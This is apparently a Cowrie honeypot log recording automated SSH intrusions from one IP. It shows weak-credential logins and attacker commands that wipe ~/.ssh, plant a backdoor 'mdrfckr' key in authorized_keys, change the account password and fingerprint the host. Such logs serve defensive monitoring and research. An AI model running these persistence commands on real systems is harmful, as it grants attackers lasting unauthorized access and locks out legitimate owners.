{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:19.317323Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:19.435877Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:19.933333Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.224323Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.228009Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.231997Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.351308Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.625069Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.628426Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.748340Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.752677Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":25625,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd60060c0f0","protocol":"ssh","message":"New connection: 79.55.224.44:25625 (10.17.0.5:22) [session: fbd60060c0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.869560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.874029Z","src_ip":"79.55.224.44","session":"fbd60060c0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:20.992753Z","src_ip":"79.55.224.44","session":"fbd60060c0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:21.515924Z","src_ip":"79.55.224.44","session":"fbd60060c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:22.648649Z","src_ip":"79.55.224.44","session":"fbd60060c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":31918,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ab3dc5ccd57","protocol":"ssh","message":"New connection: 79.55.224.44:31918 (10.17.0.5:22) [session: 0ab3dc5ccd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:22.764451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:22.769053Z","src_ip":"79.55.224.44","session":"0ab3dc5ccd57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:22.893816Z","src_ip":"79.55.224.44","session":"0ab3dc5ccd57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.51611876487732,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:23.095830Z","src_ip":"212.70.109.132","session":"d57c829475db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:23.409050Z","src_ip":"79.55.224.44","session":"0ab3dc5ccd57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:24.531343Z","src_ip":"79.55.224.44","session":"0ab3dc5ccd57","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:24.692364Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:24.695800Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:24.814148Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.078931Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin1234\\nck166ga1wdf5\\nck166ga1wdf5\"|passwd|bash","message":"CMD: echo -e \"Admin1234\\nck166ga1wdf5\\nck166ga1wdf5\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.082534Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.086463Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.090137Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/038a5b4f9add817965bd70c231bb5d301be65c47953dbb2288e1ea7fcca5687d","size":32,"shasum":"038a5b4f9add817965bd70c231bb5d301be65c47953dbb2288e1ea7fcca5687d","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/038a5b4f9add817965bd70c231bb5d301be65c47953dbb2288e1ea7fcca5687d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.208780Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.493513Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin1234\\nck166ga1wdf5\\nck166ga1wdf5\\n\"|passwd","message":"CMD: echo \"Admin1234\\nck166ga1wdf5\\nck166ga1wdf5\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.497477Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fdfbe6efe6010006392f4ee0fbea44884bcfce9565ff9fc2058b47e95f369c2","size":25,"shasum":"3fdfbe6efe6010006392f4ee0fbea44884bcfce9565ff9fc2058b47e95f369c2","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3fdfbe6efe6010006392f4ee0fbea44884bcfce9565ff9fc2058b47e95f369c2 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.615425Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.983727Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:25.987581Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.109725Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.395905Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.399879Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.520354Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.790549Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.794333Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.798922Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:26.921805Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:27.197991Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:27.201812Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:27.320799Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:27.595100Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:27.598826Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:27.718112Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.012597Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.017604Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.143287Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.425746Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.429279Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.555301Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:28.829953Z","src_ip":"79.55.224.44","session":"410b9de54417","protocol":"ssh"}
